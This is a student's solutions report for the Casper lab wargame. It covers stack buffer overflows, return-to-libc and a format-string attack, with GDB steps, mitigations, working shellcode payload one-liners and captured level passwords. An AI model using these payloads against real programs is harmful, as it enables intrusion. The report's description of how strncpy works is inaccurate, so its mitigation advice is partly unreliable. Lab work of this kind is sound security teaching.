Casper Wargame: Solutions

Felix Cammaerts
r0663453

December 2020

1 Overview

Level	Password	Time spent
040	KoWTY9glAmLEzggtpof4tBAS1dDC5h64	10 hours
060	4CsId751r3cp67Pa3Apo9B9YNkSvxTSe	5 hours
080	yHemERaJlCx0qaitkBIEEkEyijdH4BU6	4 hours
100	p4zxxve14nJFigSHWJxN0mOcBbbCvM6n	3 hours
120	v35UZPnKCC0xrfvfWrtLqQWajK81d7qw	1 hours
Total		23 hours

Table 1: Overview of all exploits

2 Casper040 solution

2.1 Description

Casper040 is a program that reads input from a user, which is a string and then greets the user with that string. The important variables in this program are:

- a buffer `buf` of size 987 intended to contain the input of the user.
- a function pointer `fp` in which the address to the `greetUser` function is stored.
- a `data_t` struct named `somedata` consisting of the buffer and the function points.

2.2 Vulnerability

Casper040 contains a vulnerability because the `strcpy` call at line 22, does not check the length of the input the user provides. This means that the user can provide an input that is longer than the buffer's length and thus overwrite other data on the stack.

2.3 Exploit description

This vulnerability can be exploited by providing a string which is longer than the size of the buffer. Giving the right length of input, the function pointer will be overwritten. In order to execute `/bin/xh` we need to provide the hexadecimal code for this in our input. The code consists of 46 bytes and thus $987 - 46 = 941$ is the amount of NOP operations we have to put in front. We can find the address of the buffer in GDB by placing a breakpoint after its initialization and then using the command `p &somedata.buf`, this gives us the address of `0x08049840` which we have to invert in order to put it in little Endian format so it becomes `0x40980408`.

2.4 Mitigation

To avoid this exploit it can be easily avoided by using the `strncpy` instead of the `strcpy` method. The `strncpy` method will stop at the specified n instead of stopping at a `\0` character as `strcpy` did. So in this case we would have `strncpy(somedata.buf, argv[1], 987)` instead of `strcpy(somedata.buf, argv[1])`. This ensures the function pointer cannot be overwritten.

3 Casper060 solution

3.1 Description

Casper060 is a program that asks the user for an input string, after which the user will be greeted with the input string and the role that he has been assigned. A default role which is a regular user and not an admin is assigned. The program consists of following important variables:

- `thisUser` which is a `user_t` struct containing the name and a pointer to the role of the user
- the `name` buffer in the `thisUser` struct contains the name of the user
- the `authority` field of the `role_t` struct contains the role of the user, starting with a `rolename` of length 32 followed by the authority level.

3.2 Vulnerability

Casper060 is vulnerable as a user which has a role with authority set to 1 will execute `/bin/xh`. This 1 refers to the user being an admin.

3.3 Exploit description

The program can be exploited by overwriting the address that the `thisUser.role` variable points to. This can be done by overflowing the `name` buffer by providing a string that is longer than 987 bytes. It is important to change the value of the `thisUser.role` to `0x00000001` as this will make the user an admin. In order for that to happen, the buffer must consist of 988 bytes and then 32 bytes later have a 1 as we can unfortunately not pass a `\x00` to the program, as this would stop the `strcpy` function, we have to find an address in memory where there is already a 1 residing. This can be found with the `find &system, +10000, 0x00000001`. This provides us an entire list of addresses containing the value `0x00000001`. We arbitrarily picked `0xb7e27a43`. We must reduce this address by 32 bytes as the role struct first has 32 bytes provided for the user name after which the user role follows, thus we obtain address `0xb7e27a23`. The first 988 bytes of the string we provide can be filled with random characters different from `0x0` hence we fill them with `0x41` as an arbitrary choice.

3.4 Mitigation

This exploit can be mitigated by changing the struct `user_t`. If the role gets put in front of the name a buffer overflow attack will not be able to affect the address to the role of the user. Alternatively the `strcpy` can also be converted to `strncpy` as was done for casper040.

4 Casper080 solution

4.1 Description

Casper080 is a program that asks the user to provide an input and then greets the user with this input after having placed it in a buffer. The important variables of the program are:

- `buf`: a buffer of size 987 in which the user input gets placed

4.2 Vulnerability

The program is vulnerable because it uses the `strcpy` function to read the input of the user and store it in the `buf` variable.

4.3 Exploit description

The program can be exploited by overflowing the input buffer and providing an alternative return address which we use to point to the malicious shell code. In order to find the location of the buffer we can provide an input consisting of one character repeated many times. Such as 300 times A, this will then be converted to its hexadecimal ASCII value. We choose to use NOP operations for this character, so we inputted a string consisting of a lot of `\0x90`. This allows us to use GDB and place a breakpoint after the initialization of the buffer and then running it with the repeated NOPs, we can find the address of the buffer by looking for the collection of `\0x90` in the stack which can be shown with

the command: `x/2000xb $esp`. This shows us that the return address that we should use is `0xbffff390`. We can now create the malicious input as follows:
`NOP operations, '/bin/xh', return_address`

4.4 Mitigation

This exploit can be mitigated by using the `strncpy` instead of the `strcpy` function when copying the input string to the buffer variable.

5 Casper100 solution

5.1 Description

Casper100 is a program that reads input from a user and then greets the user with that input. The important variables are:

- `buf`: a buffer of size 987 in which the user input is stored

5.2 Vulnerability

This program is vulnerable as it is possible to do a stack-based buffer overflow. In which the attacker can overwrite the return address of the `greetUser` function and make it point to malicious shell code.

5.3 Exploit description

The exploit can be done by providing a user input that is longer than 987 characters. Using gdb we can ascertain that the return address of the `greetUser` function is the 1000th character[1]. This means that the first 999 provided characters can be whatever value we want, in this case we opted for `0x90` as character as an arbitrary choice. We find the address for the `system` function call in gdb by `p &system` which evaluates to `0xb7e27250`.

As the stack is non-executable we have to provide the code for `/bin/xh` behind the stack, this can be inputted as a string as well. In front of the `/bin/xh` we can place an arbitrary amount of `/` as this will still be executed as `/bin/xh`. We opted for 200 `/`, using gdb we can then find the address of this code by looking on the stack for the hexadecimal value of `/` which is 2F, in this case we found it at location `0xbffff6ab`. We also need to provide a padding of 4 bytes between this location and the system call location.

[1]This can be done by placing a breakpoint in gdb and then running the program with input "AAAA", the hexadecimal value of this is 0x41414141. The moment that gdb signals a segfault with 0x41414141 as signal we know that the location of the As is the location for the overwriting the return address

5.4 Mitigation

This exploit can also be mitigated by using the `strncpy` function instead of the `strcpy` function.

6 Casper120 solution

6.1 Description

Casper120 is a program that takes a user input (the first argument given on the command line) and greets the user with that input using the `greetUser` function. If the user is an admin then `/bin/xh` will be executed. The important variables of this program are:

- `buf`: a buffer of length 987
- `isAdmin`: a boolean variable that keeps track of whether the user is an admin or not
- `s`: a char pointer which is an argument of the function `greetUser` and should contain the input of the user that was passed through the command line.

6.2 Vulnerability

Casper120 contains a format-string vulnerability that can be used to launch a data-only attack. The `sprintf` function on line 9 sends a formatted string to the `buf` variable which is then printed using `printf`.

6.3 Exploit description

To find the exploit we can place a breakpoint in gdb after the print statements have been called. We can provide the program an input of the form `AAAA.%x.%x.%x.%x.%x`. We keep adding `%x`'s just until all A's have disappeared (i.e. no `0x41` are visible anymore). In this case we have 9 of them. Because 987 is not divisible by 4 we have to add one more character in front of the `A`'s, in this case we place a `B`. The address of the `isAdmin` variable can be found using the command `p &isAdmin`. The address is equal to `0x0804999c`. This address replaces the `A`'s we had earlier. This way when we add a `%n` at the end of the string we will be writing to memory (after the first 9 chunks have been read, the last chunk will be written to memory) and the contents at the `isAdmin` address will change. C interprets every value that is not 0 as true and hence our user is granted admin privileges.

6.4 Mitigation

This exploit can be mitigated by using `printf("%s", buf)` instead of `printf(buf)`. This will interpret the buffer just as a string and all special characters such as `%x` and `%n` will just be printed as is.

7 Extra levels

I also solved some extra basic levels of which the code is provided below.

7.1 Casper050

```
python -c "print('\x90'*942 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b
\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c
\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80
\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x78\x68' +
'\x20\x98\x04\x08')" > /tmp/r0663453/input050.txt

/casper/casper050 < /tmp/r0663453/input050.txt
```

7.2 Casper070

```
(python -c "print('\x41'*988 + '\x23\x7a\xe2\xb7')") > /tmp/r0663453/input070.txt

/casper/casper070 < /tmp/r0663453/input070.txt
```

7.3 Casper090

```
(python -c "print('\x90'*953+'\x31\xc0\xb0\x46\x31\xdb\x31
\xc9\xcd\x80\xeb\x16
\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b
\x8d\x4b\x08\x8d\x53
\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x78\x68'+'\x90\xf3\xff\xbf')")
> /tmp/r0663453/input090.txt

/casper/casper090 < /tmp/r0663453/input090.txt
```

The have following passwords:

Level	Password
050	tB2Lonorm5w1Sie1cSOUrnOztQkjXtUp
070	m4dDBDg410hjf7J6rYveTHxi8Blro5N0
090	X669hwikV4lX3pDpiyczjBwKhaMmJXkz

Table 2: Overview of passwords for extra solved levels